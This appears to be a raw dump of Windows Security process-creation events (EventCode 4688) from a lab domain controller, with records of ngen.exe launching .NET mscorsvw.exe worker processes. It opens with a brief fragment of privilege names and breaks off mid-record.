SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:07:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254848 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 390 -InterruptEvent 0 -NGENProcess 398 -Pipe 3b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254847 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 39c -InterruptEvent 0 -NGENProcess 3b0 -Pipe 33c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254846 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 380 -InterruptEvent 0 -NGENProcess 38c -Pipe 3c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254845 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 33c -InterruptEvent 0 -NGENProcess 39c -Pipe 1ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254844 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 328 -InterruptEvent 0 -NGENProcess 2fc -Pipe 358 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254843 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3b0 -InterruptEvent 0 -NGENProcess 3b4 -Pipe 35c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254842 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x884 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 358 -Pipe 36c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254841 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3ac -InterruptEvent 0 -NGENProcess 2fc -Pipe 374 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254857 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e4 -InterruptEvent 0 -NGENProcess 3a8 -Pipe 3dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254856 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3a4 -InterruptEvent 0 -NGENProcess 398 -Pipe 348 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254855 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11fc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 314 -InterruptEvent 0 -NGENProcess 3d0 -Pipe 328 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254854 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 39c -InterruptEvent 0 -NGENProcess 3a4 -Pipe 3bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254853 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3c4 -InterruptEvent 0 -NGENProcess 3cc -Pipe 388 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254852 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x248 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 390 -InterruptEvent 0 -NGENProcess 3bc -Pipe 3d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254851 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x32c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3d4 -InterruptEvent 0 -NGENProcess 380 -Pipe 3c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254850 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 380 -InterruptEvent 0 -NGENProcess 2fc -Pipe 3b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254849 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 39c -InterruptEvent 0 -NGENProcess 328 -Pipe 3b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254865 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc78 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 3d0 -Pipe 3f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254864 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11ac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token 